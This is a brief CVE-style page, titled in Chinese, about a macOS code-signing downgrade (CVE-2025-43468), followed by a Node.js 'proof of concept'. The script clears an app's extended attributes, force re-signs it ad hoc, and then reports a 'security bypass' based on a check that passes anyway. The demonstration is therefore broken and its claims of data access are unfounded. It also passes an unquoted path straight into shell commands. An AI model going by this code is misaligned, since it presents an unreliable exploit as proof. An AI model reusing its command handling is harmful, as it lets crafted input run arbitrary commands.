CVE-2025-43468: macOS代码签名降级漏洞导致敏感数据泄露

// CVE-2025-43468 PoC - Code Signing Downgrade Attack Simulation // Note: This is a conceptual demonstration for security research const { execSync } = require('child_process'); // Function to check code signing status function checkCodeSigningStatus(appPath) { try { const result = execSync(`codesign -d -v ${appPath}`, {encoding: 'utf-8'}); console.log('Code signing info:', result); return true; } catch (error) { console.log('Code signing check failed:', error.message); return false; } } // Function to simulate downgrade attack function simulateDowngradeAttack(appPath) { console.log('[+] Simulating code signing downgrade attack...'); console.log('[+] Target:', appPath); // Step 1: Check current signing status console.log('\n[*] Step 1: Checking current code signing status'); checkCodeSigningStatus(appPath); // Step 2: Attempt to remove extended attributes console.log('\n[*] Step 2: Removing extended attributes (simulated)'); try { execSync(`xattr -cr ${appPath}`); console.log('[+] Extended attributes cleared'); } catch (e) { console.log('[-] Failed to clear attributes'); } // Step 3: Re-sign with lower requirements (simulated) console.log('\n[*] Step 3: Attempting re-signing with relaxed requirements'); try { execSync(`codesign --force --deep --sign - ${appPath}`); console.log('[+] Application re-signed'); } catch (e) { console.log('[-] Re-signing failed or blocked'); } // Step 4: Verify bypass console.log('\n[*] Step 4: Verifying if downgrade was successful'); const status = checkCodeSigningStatus(appPath); if (status) { console.log('[!] Potential security bypass detected'); console.log('[!] Application may now have access to sensitive data'); } else { console.log('[+] Attack blocked - code signing integrity maintained'); } } // Main execution const targetApp = process.argv[2] || '/Applications/TestApp.app'; simulateDowngradeAttack(targetApp); console.log('\n[*] Mitigation: Update to macOS Sequoia 15.7.2, Sonoma 14.8.2, or Tahoe 26.1');